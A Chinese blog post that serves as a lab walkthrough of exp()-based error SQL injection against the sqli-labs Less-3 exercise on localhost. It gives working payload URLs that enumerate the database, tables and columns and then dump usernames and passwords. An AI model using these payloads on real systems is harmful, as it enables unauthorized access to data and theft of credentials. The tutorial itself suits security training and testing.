SQL注入之exp报错注入|开门关

exp报错注入:利用溢出特性和双层嵌套查询,使数据库将错误信息返回,(数据库优先执行括号语句)这时,双层语句内部就会执行,但是它不会回退,所有就带着第一层语句+信息返回,达到我们目的 。                                                                                    个人理解哈,贼偏见的

具体原理看https://osandamalith.com/2015/07/15/error-based-sql-injection-using-exp/

语句格式为-->   and exp(~(select*from(select database())x))  <--

本次实验利用sqli来验证

1:判断注入点和注入类型

恒真恒假式,发现是‘)闭合字符,为字符型使用#注释后面符号(#进制转码-- +)

http://127.0.0.1/Less-3/?id=1') and 1=2 -- +

 

 2:查询数据库        

http://127.0.0.1/Less-3/?id=1') and exp(~(select*from(select database())x)) -- +

 

 

 

 

3:查询库下面的所有表     注:group_concat函数将数据整合一列显示出,concat 与limit一块使用效果也不错,不过需要一行一行读取

http://127.0.0.1/Less-3/?id=1') and exp(~(select*from(select group_concat(table_name) from information_schema.tables where table_schema='security')x)) -- +

 

只要不反人类设置,users表放的东西我们都感兴趣

4:查看表中字段

http://127.0.0.1/Less-3/?id=1') and exp(~(select*from(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')x)) -- +

 

 

5:查询表中数据           注:0x7e是url编码~号,如果表中数据过多被限制长度,可以使用substr来截取-->substr(数据,起始位1,截取长度)

 http://127.0.0.1/Less-3/?id=1') and exp(~(select*from(select group_concat(username,0x7e,password) from security.users)x))-- +

 

 

http://127.0.0.1/Less-3/?id=1') and exp(~(select*from(select substr(group_concat(username,0x7e,password),1,32) from security.users)x))-- +

 

 到这二也差不多啦,具体情况具体分析          !!!!注意括号,太多,可以先写框架再填数据

 

posted @ 2020-12-25 11:33  烟花花海  阅读(1081)  评论(0)    收藏  举报